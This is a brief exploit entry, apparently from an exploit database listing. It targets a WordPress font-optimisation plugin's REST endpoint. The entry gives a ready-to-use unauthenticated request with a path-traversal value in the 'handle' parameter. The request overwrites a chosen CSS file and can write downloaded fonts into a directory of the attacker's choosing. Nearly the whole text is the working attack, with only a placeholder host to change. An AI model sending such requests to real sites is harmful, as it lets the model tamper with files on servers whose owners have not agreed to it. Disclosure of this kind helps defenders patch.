## https://sploitus.com/exploit?id=WPEX-ID:C783A746-F1FE-4D68-9D0A-477DE5DBB35C
Access the URL below as unauthenticated. "cssfilename" is the file name of the CSS, excluding .css extension. The result will contain PHP error about missing directories, but should overwrite the file nonetheless. If an existing directory name is supplied, it will also download the specified fonts to that directory.
https://example.com/wp-json/omgf/v1/download/css?handle=/../../path/to/css/cssfilename&original_handle=b&family=Sora